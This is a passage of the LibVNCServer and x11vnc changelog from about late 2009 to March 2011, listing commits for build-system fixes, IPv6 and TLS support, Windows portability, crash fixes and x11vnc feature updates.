VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c, examples/colourmaptest.c, examples/example.c, examples/filetransfer.c, examples/fontsel.c, examples/mac.c, examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c, examples/simple15.c, examples/vncev.c, examples/zippy.c, test/cargstest.c, test/copyrecttest.c, test/cursortest.c, test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help' commandline argument. 2011-03-12 Christian Beier * CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt availability. 2011-03-12 Christian Beier * CMakeLists.txt: CMake: Threads can be available even if SDL is not. 2011-03-12 Christian Beier * CMakeLists.txt: CMake: fix building SDLvncviewer. 2011-03-12 Christian Beier * Makefile.am: Include cmake configure file templates in dist tarball. Signed-off-by: Christian Beier 2011-03-12 Christian Beier * rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files. 2011-03-12 Christian Beier * NEWS: Update NEWS for 0.9.8 release. 2011-03-07 Christian Beier * libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them in our custom push/pull functions. Parts of the patch stolen from libcurl, thanks! Signed-off-by: Christian Beier 2011-03-07 Christian Beier * libvncclient/rfbproto.c: Let libvncclient build with gcrypt for MinGW32 builds. Signed-off-by: Christian Beier 2011-03-07 Vic Lee * libvncclient/sockets.c: Use WaitForMessage instead of sleep in socket reading to fix performance issue. Signed-off-by: Christian Beier 2011-03-10 Christian Beier * common/d3des.c, common/d3des.h, libvncserver/auth.c, libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c, libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/rfbregion.c, libvncserver/rre.c, libvncserver/selbox.c, libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tableinit24.c, libvncserver/tableinitcmtemplate.c, libvncserver/tableinittctemplate.c, libvncserver/tabletrans24template.c, libvncserver/tabletranstemplate.c, libvncserver/translate.c, libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c, test/cursortest.c: Set proper file permissions for source files. 2011-03-10 Christian Beier * CMakeLists.txt, configure.ac: Next version will be 0.9.8. 2011-03-10 Christian Beier * Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c, examples/Makefile.am, examples/zippy.c: Move zippy.c to examples. 2011-03-03 Christian Beier * libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c: Call WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error manually using WSAGetLastError(). 2011-01-29 Christian Beier * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, common/minilzo.h, libvncclient/Makefile.am, libvncserver/Makefile.am: Update minilzo library used for Ultra encoding to ver 2.04. According to the minilzo README, this brings a significant speedup on 64-bit architechtures. Changes compared to old version 1.08 can be found here: http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier 2011-01-24 Christian Beier * libvncserver/corre.c, libvncserver/main.c, libvncserver/private.h, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver: Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient struct, so there is no need for thread local storage. Signed-off-by: Christian Beier 2011-02-02 Christian Beier * Makefile.am: Include CMakeLists.txt file in dist tarball. 2011-01-29 Christian Beier * .cvsignore, README.cvs, VisualNaCro/.cvsignore, classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore, cvs_update_anonymously, examples/.cvsignore, libvncclient/.cvsignore, libvncserver/.cvsignore, libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore, test/.cvsignore, vncterm/.cvsignore: Remove unneeded files concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier 2011-01-31 Johannes Schindelin * examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin 2011-01-31 Christian Beier * client_examples/Makefile.am, client_examples/SDLvncviewer.c: SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2011-01-21 Vic Lee * acinclude.m4, configure.ac, libvncclient/rfbproto.c, rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee Signed-off-by: Christian Beier 2011-01-25 Christian Beier * CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h, common/minilzo.c, common/minilzo.h, common/vncauth.c, common/zywrletemplate.c, libvncclient/Makefile.am, libvncclient/lzoconf.h, libvncclient/minilzo.c, libvncclient/minilzo.h, libvncclient/rfbproto.c, libvncclient/zrle.c, libvncserver/Makefile.am, libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h, libvncserver/minilzo.c, libvncserver/minilzo.h, libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and libvncclient are put into a 'common' directory and references from other files as well as Autotools and CMake build systems are updated. Signed-off-by: Christian Beier 2011-01-20 ebola_rulez * libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee Signed-off-by: Christian Beier 2011-01-01 runge * libvncserver/rfbserver.c: Remove never used protocol version name string. 2010-12-29 runge * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx. non-deprecated macosx interfaces for input injection. 2010-12-21 runge * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force --with-system-libvncserver to use correct headers. 2010-12-21 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab -traversal.patch, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES, x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: touchscreen uinput support and Java viewer mousewheel support. See x11vnc/ChangeLog for rest. 2010-12-01 Tobias Doerffel * libvncserver/sockets.c: libvncserver sockets: check cl->screen before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with insufficient checks was introduced causing a segfault when doing a HTTP server connection. Such connections have no screen set in the client data structure. Signed-off-by: Tobias Doerffel 2010-11-30 Christian Beier * Doxyfile: Doxygen documentation: actually add Doxyfile. 2010-11-29 Johannes Schindelin * index.html, success.html: The website is now maintained independently Signed-off-by: Johannes Schindelin 2010-11-18 Christian Beier * client_examples/SDLvncviewer.c, client_examples/backchannel.c, client_examples/ppmtest.c, client_examples/vnc2mpg.c, examples/backchannel.c, examples/camera.c, examples/example.c, examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both APIs, include dependencies and function call/caller dependencies. TODO: Modify all the explaining comments in the .c files for use with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier 2010-11-18 Christian Beier * libvncserver/main.c: libvncserver: fix endless loop when server closed client in threaded mode. Signed-off-by: Christian Beier 2010-11-18 Christian Beier * libvncserver/sockets.c: libvncserver sockets: favor per-screen maxclientwait over global one when set. Signed-off-by: Christian Beier 2010-11-11 Christian Beier * libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: libvncserver cleanup: remove rfbKeyFrame remnants. 2010-11-02 Christian Beier * libvncclient/rfbproto.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement xvp VNC extension. This implements the xvp VNC extension, which is described in the community version of the RFB protocol: http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also mentioned in the official RFB protocol. 2010-10-28 Tobias Doerffel * libvncserver/main.c: Added missing initialization of extension mutex When not calling rfbRegisterProtocolExtension() the extension mutex is uninitialized but used upon calling rfbGetExtensionIterator() and rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel Signed-off-by: Christian Beier 2010-10-21 Christian Beier * libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel , thanks! 2010-10-20 Tobias Doerffel * libvncserver/rfbserver.c: In rfbSendDirContent() we have to make sure to call closedir() before returning. This did not happen if rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier 2010-10-20 Christian Beier * libvncclient/sockets.c: Fix build failure wrt IP QoS support in libvncclient. This is a small addendum to 0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6 support in the OS does not necessarily mean that IPV6_TCLASS is available. One such case seems to be Mac OS X 10.5. 2010-02-09 Vic Lee * libvncclient/sockets.c: Avoid 100% CPU usage when calling ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee Signed-off-by: Christian Beier 2010-10-08 Christian Beier * rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting. 2010-09-29 Christian Beier * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets sent by a client. For example starting a client with -qosdscp 184 marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess... 2010-09-07 Christian Beier * TODO, libvncclient/sockets.c, libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to also work under Windows and also changes it to honour maybe already present socket flags. A similar function was introduced for libvncserver as well and all the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier 2010-09-06 Christian Beier * libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist in libvncserver. Signed-off-by: Christian Beier 2010-09-10 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update classes/ssl jars, patches, and script 2010-09-10 runge * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update to x11vnc 0.9.12 2010-09-06 Christian Beier * libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32 compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h) typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also tries to typedef. So, tell the jpeg headers. Closes: 3007302 2010-07-11 Christian Beier * configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for IPv6. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2010-06-29 Vic Lee * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled blocks where that variable is used. Also fixed non-IPv6 connections.] Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2010-05-31 Wouter Van Meir * libvncclient/vncviewer.c: Call MallocFrameBuffer before SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can choose the color settings depending on the vnc server (or settings) in that hook. This way one can use the "VNC server default format" pixelformat if the client supports it, or perform a workaround (Intel AMT KVM "classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir Signed-off-by: Johannes Schindelin 2010-05-19 Christian Beier * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate() returns. Signed-off-by: Christian Beier 2010-05-08 runge * ChangeLog, libvncclient/rfbproto.c: libvncclient: rfbResizeFrameBuffer should also set updateRect. 2010-05-08 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to prepare_x11vnc_dist.sh. set cd->unixname in apply_opts(). 2010-05-07 Johannes Schindelin * AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin 2010-05-07 Wouter Van Meir * CMakeLists.txt: fix CMakeLists.txt: other way to find pthread library ... and fixed linking of the tests in the examples directory. Signed-off-by: Wouter Van Meir Signed-off-by: Johannes Schindelin 2010-05-05 runge * classes/ssl/index.vnc, classes/ssl/proxy.vnc, classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync. 2010-05-01 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to disable SSL client role in reverse connections. Improvements to logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option. Increase SSL timeout and print message if 'repeater' mode is detected for reverse SSL connection. Fix RECORD scroll XCopyArea detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL to disable. Limit logging of RECORD error messages. 2010-04-28 Johannes Schindelin * client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin 2010-04-28 Corentin Chary * CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary Signed-off-by: Johannes Schindelin 2010-04-25 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new ultravnc_dsm_helper.c. 2010-04-18 runge * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa tch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Sync ssvncviewer changes. 2010-04-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: Improvements to demo scripts. Alias -coe for -connect_or_exit. Fix HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens. 2010-04-09 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for -connect_or_exit failure, quiet query mode for grab_state, pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular interface. -input_eagerly in addition to -allinput. quiet Xinerama message. 2010-04-09 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to Java viewer: troubleshooting settings and workarounds, misc bug fixes. 2010-04-09 runge * x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26. Improvements to perl scripts desktop.cgi, connect_switch and inet6to4. 2010-03-21 runge * classes/ssl/README, classes/ssl/onetimekey, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: Many improvements to Java SSL applet, onetimekey serverCert param, debugging printout, user dialogs, catch socket exceptions, autodetect x11vnc for GET=1. x11vnc: misc/scripts: desktop.cgi, inet6to4, panner.pl. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for create script, autodetect dm on udp6 only. Queries: pointer_x, pointer_y, pointer_same, pointer_root. Switch on -xkd if keysyms per key > 4 in all cases. daemon mode improvements for connect_switch, inet6to4, ultravnc_repeater.pl. Dynamic change of -clip do not create new fb if WxH is unchanged. 2010-03-21 runge * configure.ac: I think two HAVE_X's were missed. 2010-03-13 Johannes Schindelin * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation without TLS Signed-off-by: Johannes Schindelin 2010-03-13 Johannes Schindelin * client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix compilation with newer automake For some reason, this developer's automake no longer understands _SOURCES lines anymore. Work around that. Signed-off-by: Johannes Schindelin 2010-03-13 Johannes Schindelin * client_examples/Makefile.am, configure.ac: Rename HAVE_X -> HAVE_X11 This change is just for consistency reasons. Signed-off-by: Johannes Schindelin 2010-02-22 runge * classes/ssl/README, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: Java SSL applet viewer now works with certificate chains. x11vnc: Printout option -sslScripts. Suggest -auth guess in error message. Set fake_screen width and height. Test for +kb in Xvfb. 2010-01-22 Christian Beier * libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set serverPort in rfbInitClient(). The serverPort member is already set in rfbGetClient(), if we set it again in rfbInitClient(), this breaks playing of vncrec files (this relies on serverPort set to -1). Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2010-01-16 Johannes Schindelin * libvncclient/vncviewer.c: LibVNCClient: make sure that the port is initialized correctly. While at it, adjust coding style. Signed-off-by: Johannes Schindelin 2010-01-15 Vic Lee * libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized correctly] Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2010-01-07 runge * x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy. 2010-01-07 Christian Beier * libvncserver/font.c: libvncserver/font.c: add some checks to rfbDrawChar(). In some cases (bad font data) the coordinates evaluate to <0, causing a segfault in the following memcpy(). [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2010-01-07 Christian Beier * vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of ctrl key being stuck. Issue was reported as Debian bug ##555988, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2010-01-04 Christian Beier * vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at "linuxvnc 1 -help". This fixes Debian Bug #399501: Switch to tty1. Run "linuxvnc 1 -help". You see help text, followed by "Segmentation fault". Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2010-01-02 runge * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy, x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: small tweaks to Xdummy, rx11vnc*. Apply SMALL_FOOTPRINT to -appshare text. Copyright year change. 2010-01-02 runge * libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++; 2010-01-02 runge * ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight security type for RFB 3.8 (debian bug 517422.) 2010-01-01 Vic Lee * libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h: Add support for viewers to select security types on demand Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2009-12-29 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv. Hopefully done fixing Xdummy. 2009-12-28 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in --without-x builds. Fix crash with -QD query for dbus info. Adjust window size for small screens in -gui. Improve F1 help for xdm, etc. include ssvnc 1.0.25 source. 2009-12-24 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10. -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde 